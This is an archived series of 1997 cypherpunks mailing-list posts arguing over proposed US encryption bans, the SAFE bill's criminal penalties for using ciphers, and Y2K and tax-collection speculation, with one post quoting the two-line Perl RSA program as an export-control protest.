-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
> (The ACLU is far from perfect, but I am gaining new respect for
> their absolutist stance on most civil liberties issues. I am
> assuming that the ACLU will not support the "speak in Spanish while
> committing a crime and get an extra 10 years" language? This, by the
> way, is what the "use a cipher" language is exactly parallel to.)

The ACLU does have some peculiar ideas about English, however.  A few
years ago your local Northern California chapter sued an aspirin
company because their label, including warnings, was entirely in
English.  They argued that because the company was selling aspirin in
a Spanish speaking market, the label should have been in Spanish.
(The grandmother of a child did not speak English.  The child became
seriously ill and may have died.)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 19 Sep 1997 10:30:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: y2k as ideological opportunity
Message-ID: <199709190224.EAA14279@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Blanc wrot:

>On the PBS daily economics news report the other day, and an economist was
>warning that this y2k problem could lead to a recession (don't remember if
>he said it would be mild or what).   This is a possibility that the rest of
>us ought prepare for  (guess I'll have to see what Harry Brown has to say
>about it).

A recession?  Say that 20 million people figure out that they don't
have to pay their taxes.  Those 20 million will stay wealthy.  
The 25 million people employed by the federal govt in some parasitic
capacity or another will find themselves without enough money to go
around.

So, that means the FBI, DEA, BATF, Secret Service, Treasury and all
the other heavily armed, officially sponsored gangs can't feed their
habits.  They look at their badges and weapons and they get hard-ons
and decide to extort more money from the drug traders.  Only now they
want 50% instead of the 25% they take today.

Net result:  the street price of drugs will rise, causing more crime.

It'll be anarchy in the streets.  Look for Tim May carrying this sign:

    +--------------------+
    |    I Told You      |
    |  The End Was Near  |
    |  Seven Years Ago,  |
    | Check The Archives | 
    +---------++---------+
              ||
              ||

The only hope for America?  Buy more drugs to keep the traders cash 
flowing.

An artificial drug-induced happiness will descend upon the land, and
we all reelect Gore in 2004, because we're STILL STUPID SHEEPLE.  THE
DRUGS WON'T HELP!

Some things will never change.

GangMongrel






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Fri, 19 Sep 1997 21:08:42 +0800
To: cypherpunks@toad.com
Subject: Re: Crypto-Grams #1-#4, from Americans for Tax Reform
Message-ID: <970919085907_-2032794501@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain




To: syniker@aol.com
CC: louis unfreeh@fbi.org,myfriend@staffsol.com.au
Subject: Go Directly To Jail ...
=======================
print pack"C*",split/\D+/,`echo"16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

Someone at work today told me that if these couple lines were sent
in an email to someone overseas, that we might go to jail for it???

Well, Looie -- you are in washington, and John, you are in
Australia -- does that now mean we all three will have to go
to jail together?????  Please confirm.

Kissy Poos to you both...      syniker.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 19 Sep 1997 15:42:01 +0800
To: cypherpunks@toad.com
Subject: Re: politics aren't all or nothing
Message-ID: <199709190729.JAA11580@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mark Hedges wrote:

> Does anyone know who is behind this crap that the Empire's pushing on the
> committees? Louis Freeh is the only name I've heard. I've not heard
> Tenet's name mentioned in any of this. It would be interesting to research
> the other people involved, to try to find some dirt.

  Sameer and the Dark Allies:
                        This alert brought to you by
The Voters Telecommunications Watch, The Center for Democracy &
Technology,
              the Electronic Frontier Foundation, Wired Magazine,
                        and Americans for Tax Reform





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 19 Sep 1997 15:42:12 +0800
To: cypherpunks@toad.com
Subject: Re: New Computer Security Act
Message-ID: <199709190729.JAA11583@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> At 11:44 -0700 9/18/97, Tim May wrote:
> >I doubt Clinton will be at the Fort Meade HQ for a ceremony, as he's on his
> >way to Stanford, where both of us will, amazingly enough, be tomorrow. Wish
> >me luck!

> Tim, just promise me if you're arrested, you'll call me (collect) from jail
> and tell me the story. (After you call your lawyer, of course.)

  Better to call Declan first...
  Everything is tried in the press these days. The courts are merely
an anachronism waiting to be declared dead when Court TV replaces
the Department of Justice.
 (Rumor has it that Janet Reno will be 'turning the letters' as the
  defendants try to guess their sentence.)

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 20 Sep 1997 00:43:17 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: New Computer Security Act
In-Reply-To: <v03102807b04725f6f699@[207.167.93.63]>
Message-ID: <v03102801b048594be17c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:58 AM -0700 9/19/97, Bill Stewart wrote:
>At 11:44 AM 9/18/97 -0700, Tim wrote:
>>I doubt Clinton will be at the Fort Meade HQ for a ceremony, as he's on his
>>way to Stanford, where both of us will, amazingly enough, be tomorrow. Wish
>>me luck!
>
>Hey, good luck at Stanford!
>BTW, Stanford is locally referred to as "The Farm"; isn't that also
>the nickname for Langley?  It ain't Ft. Meade (which actually opened
>for NSA business after the Agency had been in the Pentagon for a while)
>but the CIA's having their anniversary as well.

I think "the Farm" is usually reserved for the training facility down in
the countryside of Virginia. (It may be close to, or even coterminous with,
Camp Perry, where various shooting events are held. )

This is where agents in training go to practice surveillance, escape, and
evasion, tradecraft, and so on.

BTW, the NSA's current site is older than the CIA's current site.

I attended Langley High School in 1966-67, and the CIA was basically on the
other side of the fence, through some woods. It was then labelled as
something like "Bureau of Roads Testing Division," and there was and
presumably still is some kind of testing track there. But everyone knew it
was the CIA.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 19 Sep 1997 21:56:48 +0800
To: cypherpunks@toad.com
Subject: Re: y2k as ideological opportunity.
Message-ID: <199709191344.GAA29237@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>[IRS collection mechanism collapses due to y2k problem]

If such a thing actually happened, I strongly suspect they'd
activate the contingency plan that was developed to maintain
tax collection after nuclear war; a flat 20% sales tax, 
collected (I think) by surviving Post Office employees.

Come to think of it, that might be better than what we have
now....


Peter Trei
trei@process.com

Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 20 Sep 1997 00:58:20 +0800
To: Cypherpunks <cypherpunks@Algebra.COM>
Subject: Re: sooner or later
In-Reply-To: <Pine.SUN.3.96.970918220732.16362D-100000@eskimo.com>
Message-ID: <v03102803b0485e0bfefd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:45 PM -0700 9/18/97, Wei Dai wrote:

>3. A ban will eventually be lifted, because of the impracticality of GAK,
>abuses, wide-spread security problems caused by added complexity or
>hackers stealing the master keys, ineffectiveness, sympathetic courts etc.
>The sooner it comes into effect, the sooner it goes away.

You mean like the way the ban on drugs was impractical and could be skirted
in various ways, forcing the ban on drugs to "go away"?


--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 19 Sep 1997 16:05:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Preparing the Remnant for the far side of the crisis
Message-ID: <199709190800.KAA14044@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>The notion of privatizing the system will not really help much, not
>in the handful of months before the impact hits. And there are
>worrisome aspects to this privatization. Recall that previous regimes
>had problems collecting taxes, and issued "letters of marque and
>reprisal" for "privateers" to stop ships on the high seas to collect
>taxes for the crown. Sir Francis Drake made his fortune this way,
>collecting taxes for Elizabeth I.

Letters of marque and reprisal are not generally considered to be tax
collection instruments as the targets were not usually considered
legitimate sources of tax revenue in time of peace.  (Still, Tim would
probably argue that there is no meaningful distinction.)

A stronger analogy could be made to tax collection groups such as the
Farmers General in pre-revolutionary France.  Entrepreneurs could
obtain a franchise to collect taxes for the King, receiving a fraction
of the taxes collected.  My guess is that these franchises were both
purchased and granted outright.

The Farmers General were unpopular and they didn't fare well during
the Revolution.  On May 8, 1794 (Floreal 19, Year II), 27 of these
scoundrels were executed in Revolution Square, including one Antoine
Lavoisier.

The IRS does privatize some of its work in the sense that bounties are
available for informants.  They get a percentage (~10%) of the tax
revenue "recovered".  The percentage drops rapidly as the total take
increases.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chip Mefford <cmefford@avwashington.com>
Date: Fri, 19 Sep 1997 22:51:18 +0800
To: cypherpunks@toad.com
Subject: Re: y2k as ideological opportunity.
Message-ID: <v03102807b04849f2a784@[207.79.65.77]>
MIME-Version: 1.0
Content-Type: text/plain



>>[IRS collection mechanism collapses due to y2k problem]
>
>If such a thing actually happened, I strongly suspect they'd
>activate the contingency plan that was developed to maintain
>tax collection after nuclear war; a flat 20% sales tax,
>collected (I think) by surviving Post Office employees.
>
>Come to think of it, that might be better than what we have
>now....
>
>


Naw, its gonna be real simple and clean.

The bid goes out,

Billgatus of Borg brings in a crapload of DEC/NT partner machines,
puts 500 programmers on porting the tasking and data to
Office 98, retrains the IRS on Office,
Slides right past Oct 1999 without a hitch, you
bring up M$ money on yer desktop and yer Fed Tax Check
goes straight to Redmond, who in turn pays out a percentage
to their new partners, the Fed.

The US of MS,

hahahahaha

luv
chipper




     Zz
      zZ
   |\ z    _,,,---,,_
   /,`.-'`'    _   ;-;;,_
  |,4-  ) )-,_..;\ (  `'_'
 '---''(_/--'  `-'\_)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stonedog@ns1.net-gate.com
Date: Fri, 19 Sep 1997 23:02:23 +0800
To: cypherpunks@cyberpass.net
Subject: Re: sooner or later
In-Reply-To: <Pine.SUN.3.96.970918220732.16362D-100000@eskimo.com>
Message-ID: <Pine.BSI.3.96.970919103800.27936A-100000@ns1.net-gate.com>
MIME-Version: 1.0
Content-Type: text/plain



"3. A ban will eventually be lifted, because of the impracticality of
drug enforcement, LEA corruption, the creation of black market drugs of
questionable quality, gangs raiding evidence room stockpiles,
ineffectiveness, sympathetic jurors, etc. The sooner it goes into effect,
the sooner it goes away."

Once a massive enforcement agency is founded, as we've seen time and again
this century, it rarely gets smaller and more limited in scope, and _very_
rarely ever goes away altogether. And rest assured that, like the IRS,
EPA, and the Park Service, this new agency will have its own Special
Weapons teams, snipers, APV's...everything a self-respecting TLA needs.

-stonedog

On Thu, 18 Sep 1997, Wei Dai wrote:

> 3. A ban will eventually be lifted, because of the impracticality of GAK,
> abuses, wide-spread security problems caused by added complexity or
> hackers stealing the master keys, ineffectiveness, sympathetic courts etc.
> The sooner it comes into effect, the sooner it goes away.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Fri, 19 Sep 1997 23:13:06 +0800
To: dccp@eff.org
Subject: McCain on the radio, 9/22
Message-ID: <3.0.3.32.19970919110114.0353b4d0@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Sen. McCain is scheduled to be a guest on the Diane Rehm show, Monday 9/22 
10:00-11:00, 88.5 (in DC) or 88.1 (in Balto).  This show is carried 
elsewhere in the country, so I'm cc:ing cypherpunks.

 - Carl

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+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 20 Sep 1997 01:32:24 +0800
To: cypherpunks@toad.com
Subject: Re: A newsgroup for exposing Usenet pedophiles
In-Reply-To: <19970919125104.12011.qmail@desk.crynwr.com>
Message-ID: <ZsaaDe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



>From nelson@crynwr.com  Fri Sep 19 08:41:11 1997
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Fri, 19 Sep 97 11:08:25 EDT
	for dlv
Received: from ns.crynwr.com by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
        id AA24849 for dlv@bwalk.dm.com; Fri, 19 Sep 97 08:41:11 -0400
Received: (qmail 31458 invoked by uid 0); 19 Sep 1997 12:43:53 -0000
Received: from desk.crynwr.com (128.153.44.67)
  by ns.crynwr.com with SMTP; 19 Sep 1997 12:43:53 -0000
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Date: 19 Sep 1997 12:51:04 -0000
Message-Id: <19970919125104.12011.qmail@desk.crynwr.com>
From: Russell Nelson <nelson@crynwr.com>
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Cc: steering-committee@usenet2.org, freedom-knights@jetcafe.org
Subject: Re: A newsgroup for exposing Usenet pedophiles
In-Reply-To: <suy0ce21w165w@bwalk.dm.com>
References: <suy0ce21w165w@bwalk.dm.com>

Dimitri Vulis KOTM writes:

I am now filtering out any mail with the word ``vulis'' in it.
You were warned.

-- 
-russ <nelson@crynwr.com>    http://www.crynwr.com/~nelson
Crynwr Software supports freed software | PGPok | Freedom causes peace.
521 Pleasant Valley Rd. | +1 315 268 1925 voice | Taxes feed the naked
Potsdam, NY 13676-3213  | +1 315 268 9201 FAX   |   and clothe the hungry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Douglas L. Peterson" <fnorky@geocities.com>
Date: Sat, 20 Sep 1997 01:28:41 +0800
To: phelix@vallnet.com
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <3422f8ef.10451440@128.2.84.191>
Message-ID: <3422B408.FD5A3A44@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



phelix@vallnet.com wrote:
> 
> On 18 Sep 1997 22:49:04 -0500, fnorky@geocities.com (Douglas L. Peterson)
> wrote:
> 
> >
> >On Mon, 15 Sep 1997 10:40:30 -0700, you wrote:
> >
> >>At 10:09 AM 9/15/97 -0700, sameer wrote:
> >>>>
> >>>> Writing the code is no longer enough.  The code must be usable by the
> >>>> sheeple to work.  How do we do that?
> >>>
> >>>     Sell code.
> >>>
> >>Marketing.
> >>
> >>It's not enough to have a great product -- you must also have great
> >>marketing. In the case of memewar, you need to get people to want to use
> >>something, enough to change their habits, even slightly. The less they need
> >>to change, relative to the benefit they get, the better.
> >>
> >>PGP/Eudora is a wonderful example of this. All that is needed to use it is
> >>one extra step (after install) -- typing your passphrase to sign a message
> >>before it is sent. Otherwise, it works the same as it always has. As a side
> >>effect, you can right-click to encrypt any file you can see in Explorer.
> >>Simple, quick, and usable even by the brain-dead, once you've convinced
> >>them TO use it. (And I forgot to bring my key file to work, so my Eudora
> >>here is useless for those purposes. Bother.)
> >
> >Too bad I use Agent.  PGP is not out for it.
> >
> 
> There are some third party programs that make using PGP with Agent easy.  I
> use PGPeep(  http://kakadu.rz.uni-passau.de/~w4hoff01/pgpeep/ ).  With it,
> all I have to do to decrypt a message or verify a signature is hit
> CTRL+ALT+Enter.  It's not as good as having true integration, but at least
> I don't have to copy to the clipboard each time.
> 
> -- Phelix

I'll look into it.

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Sat, 20 Sep 1997 02:33:07 +0800
To: Tim May <tcmay@got.net>
Subject: Re: sooner or later
In-Reply-To: <v03102803b0485e0bfefd@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970919111055.16362F-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 19 Sep 1997, Tim May wrote:

> You mean like the way the ban on drugs was impractical and could be skirted
> in various ways, forcing the ban on drugs to "go away"?

The ban on alcohol went away, why not the ban on drugs?  It won't even
require a constitutional amendment.  Are you being sarcastic or agreeing
with me?

In any case, the analogy between crypto and drugs is interesting. Perhaps
after the ban many people will obtain their crypto and crypto-related
services from organized crime. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Sat, 20 Sep 1997 02:31:40 +0800
To: anon@anon.efga.org
Subject: Re: sooner or later
Message-ID: <199709191823.LAA10185@f48.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>Bill Stewart wrote:
>>At 10:45 PM 9/18/97 -0700, Wei Dai wrote:
>>>Many of us believe that a crypto ban is inevitable. The only
>>>question for us is whether it'll happen sooner or later. Seen in
>>>this perspective, all that industry and civil liberties lobbies can
>>>do is delay the ban. But is this necessarily a good thing?
>
>>Yes.  Later is bad, but sooner is worse.  First of all, "Soon" means
>>"We lost already", while "Later" means "We haven't lost yet, even
>>though it looks pretty much like we're going to lose later,...
>
 The only way I see us losing is if we do not stand together. I do see 
that we will need to go underground ofr awhile, but when they see that 
they will always have a problem with us, they will eventually have to 
deal with us. That is unless they want to turn the US into a real life 
version of the movie Red Dawn!

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Sat, 20 Sep 1997 02:41:41 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <19970919182956.9663.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



test

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 20 Sep 1997 01:46:47 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Because they want to be "players"
In-Reply-To: <v03102808b04792fd9407@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970919113340.749B-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 18 Sep 1997, Tim May wrote:

> At 5:53 PM -0700 9/18/97, Declan McCullagh wrote:
> 
> >It includes very, very troubling severe criminal penalties for the use of
> >encryption in a crime. When encryption is in everything from light switches
> >to door knobs, any crime will include crypto, no? It would be like
> >criminalizing "breathing air in the commission of a crime..."
> 
> Yes, SAFE is an evil bill. And anyone who supports the "use a cipher, go to
> prison" language (*) is guilty of a most serious crime.
> 

Does this mean that if domestic un-GAK'd cryto is a crime then you get
charged twice?

(1) Once for using un-GAK'd crypto
(2) Once for using cyrpto in the commission of a crime

"..the only entrenched criminal class in America is congress"
Mark Twain
(perhaps slightly paraphrased)

      "How do you explain school to higher intelligence?"
               Elliot to his brother in ET







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 20 Sep 1997 11:32:19 +0800
To: "Peter Trei" <cypherpunks@toad.com
Subject: Re: y2k as ideological opportunity.
In-Reply-To: <199709191344.GAA29237@toad.com>
Message-ID: <3.0.3.32.19970919113848.0068ef38@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:48 AM 9/19/97 -6, Peter Trei wrote:
>>[IRS collection mechanism collapses due to y2k problem]
>
>If such a thing actually happened, I strongly suspect they'd
>activate the contingency plan that was developed to maintain
>tax collection after nuclear war; a flat 20% sales tax, 
>collected (I think) by surviving Post Office employees.

That'd only work if all the Post Office employees were armed.
Do they really want _more_ of that?  :-)

>Come to think of it, that might be better than what we have
>now....

Actually, the way they'd probably pull it off, since checks tend
to be delivered by mail, is to open all the mail that looked like
it might contain checks or valuable goods and only deliver it
in return for sales tax payments.  Not that they have the infrastructure
to do that any more either....
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 20 Sep 1997 03:09:08 +0800
To: Wei Dai <weidai@eskimo.com>
Subject: Re: sooner or later
In-Reply-To: <v03102803b0485e0bfefd@[207.167.93.63]>
Message-ID: <v03102800b04879db8799@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:22 AM -0700 9/19/97, Wei Dai wrote:
>On Fri, 19 Sep 1997, Tim May wrote:
>
>> You mean like the way the ban on drugs was impractical and could be skirted
>> in various ways, forcing the ban on drugs to "go away"?
>
>The ban on alcohol went away, why not the ban on drugs?  It won't even
>require a constitutional amendment.  Are you being sarcastic or agreeing
>with me?
>
>In any case, the analogy between crypto and drugs is interesting. Perhaps
>after the ban many people will obtain their crypto and crypto-related
>services from organized crime.

I'm challenging your point that the difficulty of enforcement, corruption,
whatever, will be a reason crypto bans will be rescinded.

As to the difference between Prohibition and War on (Some) Drugs, there are
some differences.

With the ban on alcohol, this went against many centuries (or millenia) of
cultural norms about wine, beer, and so on. And the majority of Americans
were consumers. In particular, older, politically more influential persons.

By contrast, drug use has typically been confined to the lower classes or
the rebellious young. Not a lot of pols are dope smokers, though there are
certainly some.

Where crypto fits is not immediately clear, but certainly most Americans
are not regular users, and will not be visiting "crypto speakeasies" to
partake of forbidden code.

Also, 50 years passed between the failed experiment of Prohibition and the
still-going-strong-after-25-years War on (Some) Drugs. There is little
movement toward repealing the WOD. Further, many of the special interest
groups--pharmaceutical makers, growers, distributors, crime syndicates, the
CIA--are apparently quite happy with the status quo, for obvious reasons.

In short, I think it far likelier that a crypto ban will more closely
resemble the War on Drugs than it will the relatively short-lived
Prohibition.


(I'm off to Stanford now, so will be out of touch for a few days.)

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Sat, 20 Sep 1997 03:18:13 +0800
To: Mark Hedges <cypherpunks@cyberpass.net
Subject: Re: directed speech free? request for opinions.
In-Reply-To: <Pine.SOL.3.96.970919031102.11529E-100000@sirius.infonex.com>
Message-ID: <v03007803b0488b2d954c@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:16 AM -0800 9/19/97, Mark Hedges wrote:
>I have seen California law code which seems to indicate that speech
>directed at an individual is not covered under the first amendment.
>
>If you have any thoughts on the matter, please send opinions (not legal
>advice, of course, if you are a lawyer). Also, if you know of any speech
>rights scholars or lawyers willing to answer a few related questions for
>free, I would appreciate the pointer.

I'm confused.  What in California law makes you think that the First
Amendment doesn't apply unless you speak to more than one person?  Assuming
that's what you mean by "speech directed at an individual."

Lee







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Sat, 20 Sep 1997 01:28:35 +0800
To: Cypherpunks <weidai@eskimo.com>
Subject: RE: sooner or later
Message-ID: <2A22D88740F0D01196BD0000F840F43F0262E1@tceis5.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



>3. A ban will eventually be lifted, because of the impracticality of
GAK,
>abuses, wide-spread security problems caused by added complexity or
>hackers stealing the master keys, ineffectiveness, sympathetic courts
etc.
>The sooner it comes into effect, the sooner it goes away.

But eventually could be 2047 (or 2097)...  I'm 40 now.  I'd like to live
to see the day.  This situation starts to unpleasantly remind me of
Heinlein's "If This Goes On...".
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is 'Don't Tread on
Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Sat, 20 Sep 1997 00:43:17 +0800
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Subject: Re: ALERT: On Monday, call Congress to stop Big Brother amendment!
In-Reply-To: <199709191521.IAA14754@comsec.com>
Message-ID: <3.0.3.32.19970919122758.035d7100@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 02:47 PM 9/18/97 -0400, you wrote:
>3. Say that you're calling to urge the Congressman to pass SAFE (HR695)
>   without amendments.

Does that mean Goodlatte's original bill, or the bill as amended already by 
the National Security Subcommittee?

I believe you should be more specific in your instructions -- suggesting 
that people ask for the bill to be voted against unless it is exactly as it 
was prior to the Natl Sec involvement.  ..or, assuming it's going to be
amended and we can't stop that, ask people to ask for a vote against the
bill -- not for it.  I'm worried that the person on the phone will check the
box under "vote for" and not puzzle out the amendment level.  If bills
changed number when amended, this wouldn't be such a problem -- but as it
is, I really worry.

 - Carl

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+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jay holovacs <holovacs@idt.net>
Date: Sat, 20 Sep 1997 06:19:23 +0800
To: cypherpunks@toad.com
Subject: RE: Because they want to be "players"
Message-ID: <199709192203.SAA11518@u2.farm.idt.net>
MIME-Version: 1.0
Content-Type: text/plain




==========================
   >From:    	Tim May <tcmay@got.net>
   >To:        	Declan McCullagh <declan@well.com>; fight-censorship@vorlon.mit.edu;cypherpunks@toad.com
   >Subject:    	Because they want to be "players"
   >Date:    	Thu, Sep 18, 1997 10:37 PM
   >
   >Yes, SAFE is an evil bill. And anyone who supports the "use a cipher, go to
   >prison" language (*) is guilty of a most serious crime.

In NY (as possibly other places), wearing a bullet resistant vest while doing something illegal is itself a crime. While it might be argued that messing around with guns can hurt bystanders, no one was ever injured by a stray bullet resisting vest.

Jay





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Sat, 20 Sep 1997 03:55:32 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: sooner or later
In-Reply-To: <3.0.3.32.19970919004824.006a3b9c@popd.ix.netcom.com>
Message-ID: <Pine.SUN.3.96.970919113126.16362G-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 19 Sep 1997, Bill Stewart wrote:

> Also, "Later" might mean "Clinton's out of office, and some of the
> Republicans have gotten in the habit of pretending they like
> privacy as long as Clinton opposes it, even though it's traditionally
> been the Republicans' job to rip off our privacy."

I don't think it makes a difference who is in office. The TLAs seem
incredibly adept at converting/subverting politicians who initially
support crypto. They must have known about this ability (and by ability I
don't mean some kind of mind-control machine, but simple persuasiveness) 
for a long time, but seem to have started excercising it on a large scale
only recently. The pro-crypto lobby is pathetic by comparison. Has it
converted any anti-crypto politician to our side? This is why I think a
crypto ban is inevitable. We simply don't have the resources to defend
against this type of attack directly. A delay is possible, but not
one long enough to make the ban impossible.

As for the residual effects of the ban after it is lifted, I think you are
overestimating them. All (escrowed) crypto built during the ban should be
designed with the lift in mind. When the ban is lifted, everyone will be
able to upgrade simultaneously by simply plugging in non-escrowed crypto
and protocol modules. This can even be done without user-intervention,
similar to auto-upgrade of virus scanning modules. Compatibility betwen
escrowed and non-escrowed crypto can be kept during the upgrade period
with appropriate negotiation protocols.

The residual social effects of the ban is harder to estimate. It's
possible that it will be minimal, for example if digital bearer
instruments are so much more efficient than account based ones that people
will use them despite escrow requirements, then these can be quickly
converted to use non-escrowed crypto after the ban is lifted. But in any
case, I don't see how a short delay will make any difference. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 20 Sep 1997 00:56:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: sooner or later
Message-ID: <0ad3e1ae4e63f5bc00877e8f0a7badd1@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Bill Stewart wrote:
